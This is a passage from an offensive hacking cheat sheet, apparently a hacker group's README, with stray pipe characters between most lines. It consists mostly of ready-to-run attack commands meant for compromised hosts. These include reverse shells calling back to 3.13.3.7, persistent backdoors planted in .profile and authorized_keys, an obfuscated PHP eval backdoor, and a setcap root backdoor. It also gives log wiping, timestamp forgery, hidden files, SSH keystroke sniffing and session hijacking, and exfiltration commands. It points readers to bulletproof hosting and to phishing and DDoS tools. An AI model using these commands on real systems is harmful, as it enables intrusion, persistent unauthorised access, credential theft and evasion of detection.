||
# on target host (reverse shell)
|
||
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:3.13.3.7:1524
|
||
```
|
||
|
||
---
|
||
<a id="backdoor"></a>
|
||
## 6. Backdoors
|
||
|
||
Mostly we use gs-netcat's automated deployment script: [https://www.gsocket.io/deploy](https://www.gsocket.io/deploy).
|
||
```sh
|
||
bash -c "$(curl -fsSLk https://gsocket.io/y)"
|
||
```
|
||
or
|
||
```sh
|
||
bash -c "$(wget --no-check-certificate -qO- https://gsocket.io/y)"
|
||
```
|
||
|
||
or deploy gsocket by running your own deployment server:
|
||
```sh
|
||
LOG=results.log bash -c "$(curl -fsSL https://gsocket.io/ys)" # Notice '/ys' instead of '/y'
|
||
```
|
||
|
||
<a id="backdoor-background-reverse-shell"></a>
|
||
**6.i. Background reverse shell**
|
||
|
||
A reverse shell that keeps trying to connect back to us every 360 seconds (indefinitely). Often used until a real backdoor can be deployed and guarantees easy re-entry to a system in case our connection gets disconnected.
|
||
|
||
```sh
|
||
setsid bash -c 'while :; do bash -i &>/dev/tcp/3.13.3.7/1524 0>&1; sleep 360; done' &>/dev/null
|
||
```
|
||
|
||
or the user's *~/.profile* (also stops multiple instances from being started):
|
||
```sh
|
||
fuser /dev/shm/.busy &>/dev/null || nohup /bin/bash -c 'while :; do touch /dev/shm/.busy; exec 3</dev/shm/.busy; bash -i &>/dev/tcp/3.13.3.7/1524 0>&1 ; sleep 360; done' &>/dev/null &
|
||
```
|
||
|
||
<a id="backdoor-auth-keys"></a>
|
||
**6.ii. authorized_keys**
|
||
|
||
Add your ssh public key to */root/.ssh/authorized_keys*. It's the most reliable backdoor ever :>
|
||
|
||
* It survives reboots.
|
||
* It even survives re-installs. Admins have been known to make a backup of authorized_keys and then put it straight back onto the newly installed system.
|
||
* We have even seen our key being copied to other companies!
|
||
|
||
Tip: Change the name at the end of the ssh public keyfile to something obscure like *backup@ubuntu* or the admin's real name:
|
||
```
|
||
$ cat id_rsa.pub
|
||
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCktFkgm40GDkqYwJkNZVb+NLqYoUNSPVPLx0VDbJM0
|
||
[...]
|
||
u1i+MhhnCQxyBZbrWkFWyzEmmHjZdAZCK05FRXYZRI9yadmvo7QKtRmliqABMU9WGy210PTOLMltbt2C
|
||
c3zxLNse/xg0CC16elJpt7IqCFV19AqfHnK4YiXwVJ+M+PyAp/aEAujtHDHp backup@ubuntu
|
||
```
|
||
<a id="backdoor-network"></a>
|
||
**6.iii. Remote Access to an entire network**
|
||
|
||
Install [gs-netcat](https://github.com/hackerschoice/gsocket). It creates a SOCKS exit-node on the Host's private LAN which is accessible through the Global Socket Relay Network without the need to run your own relay-server (e.g. access the remote private LAN directly from your workstation):
|
||
|
||
```sh
|
||
gs-netcat -l -S # compromised Host
|
||
```
|
||
|
||
Now from your workstation you can connect to ANY host on the Host's private LAN:
|
||
```sh
|
||
gs-netcat -p 1080 # Your workstation.
|
||
|
||
# Access route.local:22 on the Host's private LAN from your Workstation:
|
||
socat - "SOCKS4a:127.1:route.local:22"
|
||
```
|
||
Read [Use any tool via Socks Proxy](#scan-proxy).
|
||
|
||
Other methods:
|
||
* [Gost/Cloudflared](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service) - our very own article
|
||
* [Reverse Wireguard](https://thc.org/segfault/wireguard) - from segfault.net to any (internal) network.
|
||
|
||
<a id="carriage-return-backdoor"></a>
|
||
**6.iv. Smallest PHP Backdoor**
|
||
|
||
Add this line to the beginning of any PHP file:
|
||
```php
|
||
<?php $i=base64_decode("aWYoaXNzZXQoJF9QT1NUWzBdKSl7c3lzdGVtKCRfUE9TVFswXSk7ZGllO30K");eval($i);?>
|
||
```
|
||
|
||
Test the backdoor:
|
||
```sh
|
||
### 1. Optional: Start a test PHP server
|
||
cd /var/www/html && php -S 127.0.0.1:8080
|
||
### Without executing a command
|
||
curl http://127.0.0.1:8080/test.php
|
||
### With executing a command
|
||
curl http://127.0.0.1:8080/test.php -d 0="ps fax; uname -mrs; id"
|
||
```
|
||
|
||
<a id="ld-backdoor"></a>
|
||
**6.v. Local Root Backdoor**
|
||
|
||
Stay root once you got root
|
||
```bash
|
||
### Execute as root user
|
||
setcap cap_setuid+ep /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
|
||
```
|
||
Become root
|
||
```bash
|
||
### Execute as non-root user
|
||
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /usr/bin/python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
|
||
```
|
||
|
||
<a id="hostrecon"></a>
|
||
## 7. Host Recon
|
||
---
|
||
|
||
Get [essential information](https://github.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/blob/master/tools/whatserver.sh) about a host:
|
||
```sh
|
||
curl -fsSL https://thc.org/ws | bash
|
||
```
|
||
|
||
netstat if there is no netstat/ss/lsof:
|
||
```sh
|
||
curl -fsSL https://raw.githubusercontent.com/hackerschoice/thc-tips-tricks-hacks-cheat-sheet/master/tools/awk_netstat.sh | bash
|
||
```
|
||
|
||
Speed check the system
|
||
```sh
|
||
curl -fsSL https://bench.sh | bash
|
||
# Another speed check:
|
||
# curl -fsSL https://yabs.sh | bash
|
||
```
|
||
|
||
Find all suid/sgid binaries:
|
||
```
|
||
find / -xdev -type f -perm /6000 -ls 2>/dev/null
|
||
```
|
||
|
||
Find all writeable directories:
|
||
```sh
|
||
wfind() {
|
||
local arr dir
|
||
|
||
arr=("$@")
|
||
while [[ ${#arr[@]} -gt 0 ]]; do
|
||
dir=${arr[${#arr[@]}-1]}
|
||
unset "arr[${#arr[@]}-1]"
|
||
find "$dir" -maxdepth 1 -type d -writable -ls 2>/dev/null
|
||
IFS=$'\n' arr+=($(find "$dir" -mindepth 1 -maxdepth 1 -type d ! -writable 2>/dev/null))
|
||
done
|
||
}
|
||
# Usage: wfind /
|
||
# Usage: wfind /etc /var /usr
|
||
```
|
||
|
||
Find local passwords (using noseyparker):
|
||
```sh
|
||
curl -fsSL https://github.com/praetorian-inc/noseyparker/releases/download/v0.16.0/noseyparker-v0.16.0-x86_64-unknown-linux-gnu.tar.gz | tar xvfz - --transform="flags=r;s|.*/||" --no-anchored --wildcards noseyparker && \
|
||
./noseyparker scan . && \
|
||
./noseyparker report
|
||
```
|
||
(Or use [PassDetective](https://github.com/aydinnyunus/PassDetective) to find passwords in ~/.*history)
|
||
|
||
Using `grep`:
|
||
```sh
|
||
# Find passwords (without garbage).
|
||
grep -HEronasir '.{16}password.{,64}' .
|
||
# Find TLS or OpenSSH keys:
|
||
grep -r -F -- " PRIVATE KEY-----" .
|
||
```
|
||
|
||
---
|
||
<a id="shell-hacks"></a>
|
||
## 8. Shell Hacks
|
||
<a id="shred"></a>
|
||
**8.i. Shred & Erase a file**
|
||
|
||
```sh
|
||
shred -z foobar.txt
|
||
```
|
||
|
||
```sh
|
||
## SHRED without shred command
|
||
shred() {
|
||
[[ -z $1 || ! -f "$1" ]] && { echo >&2 "shred [FILE]"; return 255; }
|
||
dd status=none bs=1k count=$(du -sk ${1:?} | cut -f1) if=/dev/urandom >"$1"
|
||
rm -f "${1:?}"
|
||
}
|
||
shred foobar.txt
|
||
```
|
||
Note: Or deploy your files in */dev/shm* directory so that no data is written to the harddrive. Data will be deleted on reboot.
|
||
|
||
Note: Or delete the file and then fill the entire harddrive with /dev/urandom and then rm -rf the dump file.
|
||
|
||
<a id="restore-timestamp"></a>
|
||
**8.ii. Restore the date of a file**
|
||
|
||
Let's say you have modified */etc/passwd* but the file date now shows that */etc/passwd* has been modifed. Use *touch* to change the file data to the date of another file (in this example, */etc/shadow*)
|
||
|
||
```sh
|
||
touch -r /etc/shadow /etc/passwd
|
||
```
|
||
|
||
<a id="shell-clean-logs"></a>
|
||
**8.iii. Clear logfile**
|
||
|
||
This will reset the logfile to 0 without having to restart syslogd etc:
|
||
```sh
|
||
>/var/log/auth.log # or on old shells: cat /dev/null >/var/log/auth.log
|
||
```
|
||
|
||
This will remove any line containing the IP `1.2.3.4` from the log file:
|
||
```sh
|
||
xlog() {
|
||
local a=$(sed "/${1:?}/d" <"${2:?}") && echo "$a" >"${2:?}"
|
||
}
|
||
xlog "1\.2\.3\.4" /var/log/auth.log
|
||
# xlog "${SSH_CLIENT%% *}" /var/log/auth.log
|
||
# xlog "^2023.* thc\.org" foo.log
|
||
```
|
||
|
||
<a id="shell-hide-files"></a>
|
||
**8.iv. Hide files from that User without root privileges**
|
||
|
||
Our favorite working directory is */dev/shm/*. This location is volatile memory and will be lost on reboot. NO LOGZ == NO CRIME.
|
||
|
||
Hiding permanent files:
|
||
|
||
Method 1:
|
||
```sh
|
||
alias ls='ls -I system-dev'
|
||
```
|
||
|
||
This will hide the directory *system-dev* from the *ls* command. Place in User's *~/.profile* or system wide */etc/profile*.
|
||
|
||
Method 2:
|
||
Tricks from the 80s. Consider any directory that the admin rarely looks into (like */boot/.X11/..* or so):
|
||
```sh
|
||
mkdir '...'
|
||
cd '...'
|
||
```
|
||
|
||
Method 3:
|
||
Unix allows filenames with about any ASCII character but 0x00. Try tab (*\t*). Happens that most Admins do not know how to cd into any such directory.
|
||
```sh
|
||
mkdir $'\t'
|
||
cd $'\t'
|
||
```
|
||
|
||
<a id="perm-files"></a>
|
||
**8.v. Make a file immuteable**
|
||
|
||
This will redirect `/var/www/cgi/blah.cgi` to `/boot/backdoor.cgi`. The file `blah.cgi` can not be modified or removed (unless unmounted).
|
||
```sh
|
||
# /boot/backdoor.cgi contains our backdoor
|
||
touch /var/www/cgi/blah.cgi
|
||
mount -o bind,ro /boot/backdoor.cgi /var/www/cgi/blah.cgi
|
||
```
|
||
|
||
<a id="nosudo"></a>
|
||
**8.vi. Change user without sudo/su**
|
||
|
||
Needed for taking screenshots of X11 sessions (aka `xwd -root -display :0 | convert - jpg:screenshot.jpg`)
|
||
```bash
|
||
U=$(id -u UserName) ### <-- Set UserName
|
||
H="$(grep "$U" /etc/passwd | cut -d: -f6)"
|
||
HOME="${H:-/tmp}" python3 -c "import os;os.setuid(${U:?});os.execl('/bin/bash', '-bash')"
|
||
# change -bash to bash to not make this a login shell.
|
||
```
|
||
|
||
---
|
||
<a id="crypto"></a>
|
||
## 9. Crypto
|
||
<a id="gen-password"></a>
|
||
**9.i. Generate quick random Password**
|
||
|
||
Good for quick passwords without human element.
|
||
|
||
```sh
|
||
openssl rand -base64 24
|
||
```
|
||
|
||
If `openssl` is not available then we can also use `head` to read from `/dev/urandom`.
|
||
|
||
```sh
|
||
head -c 32 < /dev/urandom | xxd -p -c 32
|
||
```
|
||
|
||
or make it alpha-numeric
|
||
|
||
```sh
|
||
head -c 32 < /dev/urandom | base64 | tr -dc '[:alnum:]' | head -c 16
|
||
```
|
||
|
||
<a id="crypto-filesystem"></a>
|
||
**9.ii.a. Linux transportable encrypted filesystems - cryptsetup**
|
||
|
||
Create a 256MB large encrypted file system. You will be prompted for a password.
|
||
|
||
```sh
|
||
dd if=/dev/urandom of=/tmp/crypted bs=1M count=256 iflag=fullblock
|
||
cryptsetup luksFormat /tmp/crypted
|
||
cryptsetup open /tmp/crypted sec
|
||
mkfs -t ext3 /dev/mapper/sec
|
||
```
|
||
|
||
Mount:
|
||
|
||
```sh
|
||
cryptsetup open /tmp/crypted sec
|
||
mount -o nofail,noatime /dev/mapper/sec /mnt/sec
|
||
```
|
||
|
||
Store data in `/mnt/crypted`, then unmount:
|
||
|
||
```sh
|
||
umount /mnt/sec
|
||
cryptsetup close sec
|
||
```
|
||
<a id="encfs"></a>
|
||
**9.ii.b. Linux transportable encrypted filesystems - EncFS**
|
||
|
||
Create ```.sec``` and store the encrypted data in ```.raw```:
|
||
```sh
|
||
mkdir .raw .sec
|
||
encfs --standard "${PWD}/.raw" "${PWD}/.sec"
|
||
```
|
||
|
||
unmount:
|
||
```sh
|
||
fusermount -u .sec
|
||
```
|
||
|
||
<a id="encrypting-file"></a>
|
||
**9.iii Encrypting a file**
|
||
|
||
Encrypt your 0-Days and log files before transfering them - please. (and pick your own password):
|
||
|
||
```sh
|
||
# Encrypt
|
||
openssl enc -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt >input.txt.enc
|
||
```
|
||
|
||
```sh
|
||
# Decrypt
|
||
openssl enc -d -aes-256-cbc -pbkdf2 -k fOUGsg1BJdXPt0CY4I <input.txt.enc >input.txt
|
||
```
|
||
|
||
---
|
||
<a id="ssh-sniffing"></a>
|
||
## 10. SSH Sniffing
|
||
<a id="ssh-sniffing-script"></a>
|
||
**10.i Sniff a user's SHELL session with script**
|
||
|
||
A method to log the shell session of a user (who logged in via SSH).
|
||
|
||
The tool 'script' has been part of Unix for decades. Add 'script' to the user's .profile. The user's keystrokes and session will be recorded to ~/.ssh-log.txt the next time the user logs in:
|
||
```sh
|
||
echo 'exec script -qc /bin/bash ~/.ssh-log.txt' >>~/.profile
|
||
```
|
||
Consider using [zap-args](#bash-hide-arguments) to hide the the arguments and /dev/tcp/3.13.3.7/1524 as an output file to log to a remote host.
|
||
|
||
<a id="dtrace"></a>
|
||
**10.ii Sniff all SHELL sessions with dtrace - FreeBSD**
|
||
|
||
Especially useful for Solaris/SunOS and FreeBSD (pfSense). It uses kernel probes to trace *all* sshd processes.
|
||
|
||
Copy this "D Script" to the target system to a file named `d`:
|
||
```c
|
||
#pragma D option quiet
|
||
inline string NAME = "sshd";
|
||
syscall::write:entry
|
||
/(arg0 >= 5) && (arg2 <= 16) && (execname == NAME)/
|
||
{ printf("%d: %s\n", pid, stringof(copyin(arg1, arg2))); }
|
||
```
|
||
|
||
Start a dtrace and log to /tmp/.log:
|
||
```sh
|
||
### Start kernel probe as background process.
|
||
(dtrace -sd >/tmp/.log &)
|
||
```
|
||
|
||
<a id="bpf"></a>
|
||
**10.iii Sniff all SHELL sessions with eBPF - Linux**
|
||
|
||
eBPF allows us to *safely* hook over 120,000 functions in the kernel. It's like a better "dtrace" but for Linux.
|
||
|
||
```sh
|
||
curl -o bpftrace -fsSL https://github.com/iovisor/bpftrace/releases/latest/download/bpftrace
|
||
chmod 755 bpftrace
|
||
curl -o ptysnoop.bt -fsSL https://github.com/hackerschoice/bpfhacks/raw/main/ptysnoop.bt
|
||
./bpftrace -Bnone ptysnoop.bt
|
||
```
|
||
Check out our very own [eBPF tools to sniff sudo/su/ssh passwords](https://github.com/hackerschoice/bpfhacks).
|
||
|
||
<a id="ssh-sniffing-strace"></a>
|
||
**10.iv Sniff a user's outgoing SSH session with strace**
|
||
```sh
|
||
strace -e trace=read -p <PID> 2>&1 | while read x; do echo "$x" | grep '^read.*= [1-9]$' | cut -f2 -d\"; done
|
||
```
|
||
Dirty way to monitor a user who is using *ssh* to connect to another host from a computer that you control.
|
||
|
||
|
||
<a id="ssh-sniffing-wrapper"></a>
|
||
**10.v. Sniff a user's outgoing SSH session with a wrapper script**
|
||
|
||
Even dirtier method in case */proc/sys/kernel/yama/ptrace_scope* is set to 1 (strace will fail on already running SSH sessions)
|
||
|
||
Create a wrapper script called 'ssh' that executes strace + ssh to log the session:
|
||
<details>
|
||
<summary>Show wrapper script - CLICK HERE</summary>
|
||
|
||
```sh
|
||
# Cut & Paste the following into a bash shell:
|
||
# Add a local path to the PATH variable so our 'ssh' is executed instead of the real ssh:
|
||
echo 'PATH=~/.local/bin:$PATH #0xFD0E' >>~/.profile
|
||
|
||
# Create a log directory and our own ssh binary
|
||
mkdir -p ~/.local/bin ~/.local/logs
|
||
|
||
cat <<__EOF__ >~/.local/bin/ssh
|
||
#! /bin/bash
|
||
strace -e trace=read -I 1 -o '! ~/.local/bin/ssh-log \$\$' /usr/bin/ssh \$@
|
||
__EOF__
|
||
|
||
cat <<__EOF__ >~/.local/bin/ssh-log
|
||
#! /bin/bash
|
||
grep -F 'read(4' | cut -f2 -d\\" | while read -r x; do
|
||
[[ \${#x} -gt 5 ]] && continue
|
||
[[ \${x} == +(\\\\n|\\\\r) ]] && { echo ""; continue; }
|
||
echo -n "\${x}"
|
||
done >\$HOME/.local/logs/ssh-log-"\${1}"-\`date +%s\`.txt
|
||
__EOF__
|
||
|
||
chmod 755 ~/.local/bin/ssh ~/.local/bin/ssh-log
|
||
. ~/.profile
|
||
|
||
echo -e "\033[1;32m***SUCCESS***.
|
||
Logfiles stored in ~/.local/.logs/.
|
||
To uninstall cut & paste this\033[0m:\033[1;36m
|
||
grep -v 0xFD0E ~/.profile >~/.profile-new && mv ~/.profile-new ~/.profile
|
||
rm -rf ~/.local/bin/ssh ~/.local/bin/ssh-log ~/.local/logs/ssh-log*.txt
|
||
rmdir ~/.local/bin ~/.local/logs ~/.local &>/dev/null \033[0m"
|
||
```
|
||
(thanks to Gerald for testing this)
|
||
</details>
|
||
|
||
The SSH session will be sniffed and logged to *~/.ssh/logs/* the next time the user logs into his shell and uses SSH.
|
||
|
||
<a id="ssh-sniffing-sshit"></a>
|
||
**10.vi Sniff a user's outgoing SSH session using SSH-IT**
|
||
|
||
The easiest way is using [https://www.thc.org/ssh-it/](https://www.thc.org/ssh-it/).
|
||
|
||
```sh
|
||
bash -c "$(curl -fsSL https://thc.org/ssh-it/x)"
|
||
```
|
||
|
||
<a id="hijack"></a>
|
||
**10.vii Hijack / Take-over a running SSH session**
|
||
|
||
Use [https://github.com/nelhage/reptyr](https://github.com/nelhage/reptyr) to take over an existing SSH session:
|
||
```sh
|
||
ps ax -o pid,ppid,cmd | grep 'ssh '
|
||
./reptyr -T <SSH PID>
|
||
### or: ./reptyr -T $(pidof -s ssh)
|
||
### Must use '-T' or otherwise the original user will see that his SSH process gets suspended.
|
||
```
|
||
|
||
---
|
||
<a id="vpn-shell"></a>
|
||
## 11. VPN & Shells
|
||
<a id="shell"></a>
|
||
**11.i. Disposable Root Servers**
|
||
|
||
```console
|
||
$ ssh root@segfault.net # Use password 'segfault'
|
||
```
|
||
|
||
https://thc.org/segfault
|
||
|
||
<a id="vpn"></a>
|
||
**11.ii. VPN/VPS/Proxies**
|
||
|
||
Trusted VPN Providers
|
||
1. https://www.mullvad.net
|
||
1. https://www.cryptostorm.is
|
||
1. https://proton.me - Offers FREE VPN
|
||
1. https://vpn.fail - Run by volunteers
|
||
|
||
Virtual Private Servers
|
||
1. https://www.hetzner.com - Cheap
|
||
2. https://hivecloud.pw - No KYC. Bullet Proof. Accepts Crypto.
|
||
1. https://dmzhost.co - Ignore most abuse requests
|
||
2. https://alexhost.com - No KYC. Bullet Proof. DMCA free zone
|
||
3. https://basehost.eu - Ignores court orders
|
||
4. https://buyvm.net - Warez best friend
|
||
5. https://serverius.net - Used by gangsters
|
||
6. https://1984.hosting - Privacy
|
||
7. https://bithost.io - Reseller for DigitalOcean, Linode, Hetzner and Vultr (accepts Crypto)
|
||
8. https://www.privatelayer.com - Swiss based.
|
||
|
||
See [other KYC Free Services](https://kycnot.me/) ([.onion](http://kycnotmezdiftahfmc34pqbpicxlnx3jbf5p7jypge7gdvduu7i6qjqd.onion/))
|
||
|
||
Proxies (we dont use any of those)
|
||
1. [V2Ray Proxies](https://github.com/mahdibland/V2RayAggregator)
|
||
2. [Hola Proxies](https://github.com/snawoot/hola-proxy)
|
||
3. [Zaeem's Free Proxy List](https://github.com/Zaeem20/FREE_PROXIES_LIST)
|
||
4. [Proxy Broker 2](https://github.com/bluet/proxybroker2)
|
||
5. [proxyscrape.com](https://api.proxyscrape.com/v2/?request=displayproxies&protocol=all&timeout=750&country=all)
|
||
6. [my-proxy.com](https://www.my-proxy.com)
|
||
7. [getfreeproxylists.blogspot.com](https://getfreeproxylists.blogspot.com/)
|
||
8. [proxypedia.org](https://proxypedia.org/)
|
||
9. [socks-proxy.net](https://socks-proxy.net/)
|
||
10. [Segfault](https://www.thc.org/segfault): `curl -x socks5h://$(PROXY) ipinfo.io` - selects a random proxy for every request
|
||
|
||
Many other services (for free)
|
||
1. https://free-for.dev/
|
||
|
||
---
|
||
<a id="osint"></a>
|
||
## 12. Intelligence Gathering
|
||
|
||
| OSINT Hacker Tools ||
|
||
| --- | --- |
|
||
| https://osint.sh | Free. Subdomain Finder, DNS History, Public S3 Buckets, Reverse IP, Certificate Search and much more |
|
||
| https://cli.fyi | Free. curl/json interface to many services. Try `curl cli.fyi/me` or `curl cli.fyi/thc.org`. |
|
||
| https://check-your-website.server-daten.de | Free. TLS/DNS/Security check a domain. |
|
||
| https://hackertarget.com/ip-tools/ | Free OSINT Service (Reverse IP, MTR, port scan, CMS scans, Vulnerability Scans, API support) |
|
||
| https://account.shodan.io/billing/tour | Open Port DB & DNS Lookup from around the world |
|
||
| https://dnsdumpster.com/ | Domain Recon Tool |
|
||
| https://crt.sh/ | TLS Certificate Search |
|
||
| https://archive.org/web/ | Historical view of websites |
|
||
| https://www.farsightsecurity.com/solutions/dnsdb/ | DNS search (not free) |
|
||
| https://wigle.net/ | Wireless Network Mapper |
|
||
| https://radiocells.org/ | Cell Tower Informations |
|
||
| https://www.shodan.io/ | Search Engine to find devices & Banners (not free) |
|
||
| https://spur.us/context/me | IP rating `https://spur.us/context/<IP>` |
|
||
| http://drs.whoisxmlapi.com | Reverse Whois Lookup (not free) |
|
||
| https://www.abuseipdb.com | IP abuse rating |
|
||
|
||
| OSINT for Detectives ||
|
||
| --- | --- |
|
||
| https://start.me/p/rx6Qj8/nixintel-s-osint-resource-list | Nixintel's OSINT Resource List |
|
||
| https://github.com/jivoi/awesome-osint | Awesome OSINT list |
|
||
| https://cipher387.github.io/osint_stuff_tool_collection/ | OSINT tools collection |
|
||
| https://osintframework.com/ | Many OSINT tools |
|
||
|
||
| OSINT Databases ||
|
||
| --- | --- |
|
||
| https://data.ddosecrets.com/ | Database Dumps
|
||
|
||
---
|
||
<a id="misc"></a>
|
||
## 13. Miscellaneous
|
||
<a id="tools"></a>
|
||
**13.i. Tools of the trade**
|
||
|
||
Comms
|
||
1. [CryptoStorm Email](https://www.cs.email/) - Disposable emails (send & receive). (List of [Disposable-email-services](https://github.com/AnarchoTechNYC/meta/wiki/Disposable-email-services])).
|
||
1. [Temp-Mail](https://temp-mail.org/en/) - Disposable email service with great Web GUI. Receive only.
|
||
2. [tuta.io](https://tuta.io) or [ProtonMail](https://pm.me)/[.onion](https://protonmailrmez3lotccipshtkleegetolb73fuirgj7r4o4vfu7ozyd.onion/) - Free & Private email
|
||
1. [Quackr.Io](https://quackr.io/) - Disposable SMS/text messages (List of [Disposable-SMS-services](https://github.com/AnarchoTechNYC/meta/wiki/Disposable-SMS-services)).
|
||
1. [Crypton](https://crypton.sh/) - Rent a private SIM/SMS with crypto ([.onion](http://cryptonx6nsmspsnpicuihgmbbz3qvro4na35od3eht4vojdo7glm6yd.onion/))
|
||
2. [List of "No KYC" Services](https://kycnot.me/) ([.onion](http://kycnotmezdiftahfmc34pqbpicxlnx3jbf5p7jypge7gdvduu7i6qjqd.onion/))
|
||
|
||
OpSec
|
||
1. [OpSec for Rebellions](https://medium.com/@hackerschoice/it-security-and-privacy-for-the-rebellions-of-the-world-db4023cadcca) - Start Here. The simplest 3 steps.
|
||
1. [RiseUp](https://riseup.net/) - Mail, VPN and Tips for (online) rebellions.
|
||
1. [Neko](https://github.com/m1k1o/neko) - Launch Firefox in Docker and access via 127.0.0.1:8080 (WebRTC)
|
||
2. [x11Docker](https://github.com/mviereck/x11docker) - Isolate any X11 app in a container (Linux & Windows only). ([Article](https://techviewleo.com/run-gui-applications-in-docker-using-x11docker/?expand_article=1))
|
||
3. [DangerZone](https://github.com/freedomofpress/dangerzone) - Make PDFs safe before opening them.
|
||
4. [ExifTool](https://exiftool.org/) - Remove meta data from files (`exiftool -all= example.pdf example1.jpg ...`)
|
||
5. [EFF](https://www.eff.org/) - Clever advise for freedom figthers.
|
||
|
||
Exploits
|
||
1. [SploitScan](https://github.com/xaitax/SploitScan) - Exploit Score & PoC search (by xaitax)
|
||
1. [Traitor](https://github.com/liamg/traitor) - Tries various exploits/vulnerabilities to gain root (LPE)
|
||
1. [PacketStorm](https://packetstormsecurity.com) - Our favorite site ever since we shared a Pizza with fringe[at]dtmf.org in NYC in 2000
|
||
1. [ExploitDB](https://www.exploit-db.com) - Also includes metasploit db and google hacking db
|
||
1. [Shodan/Exploits](https://exploits.shodan.io/welcome) - Similar to exploit-db
|
||
|
||
System Information Gathering
|
||
1. `curl -fsSL https://thc.org/ws | bash` - Show all domains hosted on a server + system-information
|
||
1. https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS - Quick system informations for hackers.
|
||
1. https://github.com/zMarch/Orc - Post-exploit tool to find local RCE (type `getexploit` after install)
|
||
1. https://github.com/efchatz/pandora - Windows: dump password from various password managers
|
||
|
||
Backdoors
|
||
1. https://www.gsocket.io/deploy - The world's smallest backdoor
|
||
1. https://github.com/m0nad/Diamorphine - Linux Kernel Module for hiding processes and files
|
||
1. https://www.kali.org/tools/weevely - PHP backdoor
|
||
|
||
Network Scanners
|
||
1. https://github.com/robertdavidgraham/masscan - Scan the entire Internet
|
||
1. https://github.com/ptrrkssn/pnscan - Fast network scanner
|
||
1. https://zmap.io/ - ZMap & ZGrab
|
||
|
||
Vulnerability Scanners
|
||
1. [Raccoon](https://github.com/evyatarmeged/Raccoon) - Reconnaissance and Information Gathering
|
||
1. [Osmedeus](https://github.com/j3ssie/osmedeus) - Vulnerability and Information gathering
|
||
1. [FullHunt](https://github.com/fullhunt/) - log4j and spring4shell scanner
|
||
|
||
DDoS
|
||
1. [DeepNet](https://github.com/the-deepnet/ddos) - we despise DDoS but if we had to then this would be our choice.
|
||
|
||
Static Binaries / pre-compiled Tools
|
||
1. https://github.com/Azathothas/Toolpacks/tree/main from [hysp project](https://github.com/metis-os/hysp-pkgs)
|
||
1. https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64
|
||
1. https://iq.thc.org/cross-compiling-exploits
|
||
|
||
Phishing
|
||
1. https://github.com/htr-tech/zphisher - We don't hack like this but this is what we would use.
|
||
2. https://da.gd/ - Tinier TinyUrl and allows https://www.google.com-fish-fish@da.gd/blah
|
||
|
||
Tools
|
||
1. https://github.com/guitmz/ezuri - Obfuscate Linux binaries
|
||
1. https://tmate.io/ - Share A screen with others
|
||
|
||
Callback / Canary / Command & Control
|
||
1. http://dnslog.cn
|
||
1. https://app.interactsh.com
|
||
1. https://api.telegram.org
|
||
1. https://webhook.site
|
||
|
||
Tunneling
|
||
1. [Gost](https://github.com/ginuerzh/gost/blob/master/README_en.md)
|
||
1. [TCP Gender Changer](https://tgcd.sourceforge.net/) for all your 'connect back' needs.
|
||
1. [ngrok](https://ngrok.com/download), [cloudflared](https://developers.cloudflare.com/cloudflare-one/connections/connect-apps) or [pagekite](https://pagekite.net/) to make a server behind NAT accessible from the public Internet.
|
||
|
||
Exfil<a id="cloudexfil"></a>
|
||
1. [Blitz](https://github.com/hackerschoice/gsocket#blitz) - `blitz -l` / `blitz foo.txt`
|
||
2. [RedDrop](https://github.com/cyberbutler/RedDrop) - run your own Exfil Server
|
||
1. [Mega](https://mega.io/cmd)
|
||
2. [oshiAt](https://oshi.at/) - also on TOR. `curl -T foo.txt https://oshi.at`
|
||
5. [Transfer.sh](https://transfer.sh/) - `curl -T foo.txt https://transfer.sh`
|
||
6. [LitterBox](https://litterbox.catbox.moe/tools.php) - `curl -F reqtype=fileupload -F time=72h -F 'fileToUpload=@foo.txt' https://litterbox.catbox.moe/resources/internals/api.php`
|
||
7. [Croc](https://github.com/schollz/croc) - `croc send foo.txt / croc anit-price-example`
|
||
8. [MagicWormhole](https://pypi.org/project/magic-wormhole/)
|
||
|
||
Publishing
|
||
1. [free BT/DC/eD2k seedbox](https://valdikss.org.ru/schare/)
|
||
1. Or use /onion on [segfault.net](https://www.thc.org/segfault) or plain old https with ngrok.
|
||
1. [DuckDNS](https://www.duckdns.org/) - Free Dynamic Domain Names
|
||
3. [afraid.org](https://www.afraid.org) - Free Dynamic DNS for your domain
|
||
2. [he.net](https://dns.he.net/) - Free Nameserver service
|
||
4. [0bin](https://0bin.net/) / [paste.ec](https://paste.ec) - Encrypted PasteBin
|
||
5. [pad.riseup.net](https://pad.riseup.net) - Create documents and share them securely
|
||
|
||
Forums and Conferences
|
||
1. [0x00Sec](https://0x00sec.org/) - Reverse Engineering & Hacking with a pinch of Malware
|
||
3. [AlligatorCon](https://www.alligatorcon.eu/) - the original
|
||
4. [0x41con](https://0x41con.org/)
|
||
5. [TumpiCon](https://tumpicon.org/)
|
||
|
||
Telegram Channels<a id="channels"></a>
|
||
1. [The Hacker's Choice](https://t.me/thcorg)
|
||
1. [The Hacker News](https://t.me/thehackernews)
|
||
1. [CyberSecurity Technologies](https://t.me/CyberSecurityTechnologies)
|
||
1. [Offensive Twitter](https://t.me/OffensiveTwitter)
|
||
1. [Pwn3rzs](https://t.me/Pwn3rzs)
|
||
1. [VX-Underground](https://t.me/vxunderground)
|
||
1. [cKure](https://t.me/cKure)
|
||
1. [Android Security / Malware](https://t.me/androidMalware)
|
||
1. [OSINT CyberDetective](https://t.me/cybdetective)
|
||
1. [BookZillaaa](https://t.me/bookzillaaa)
|
||
|
||
Mindmaps & Knowledge
|
||
1. [Compass Sec Cheat Sheets](https://github.com/CompassSecurity/Hacking_Tools_Cheat_Sheet)
|
||
2. [Network Pentesting](https://github.com/wearecaster/NetworkNightmare/blob/main/NetworkNightmare_by_Caster.png)
|
||
1. [Active Directory](https://orange-cyberdefense.github.io/ocd-mindmaps/img/pentest_ad_dark_2023_02.svg)
|
||
|
||
<a id="cool-linux-commands"></a>
|
||
**13.ii. Cool Linux commands**
|
||
|
||
1. https://jvns.ca/blog/2022/04/12/a-list-of-new-ish--command-line-tools/
|
||
1. https://github.com/ibraheemdev/modern-unix
|
||
|
||
<a id="tmux"></a>
|
||
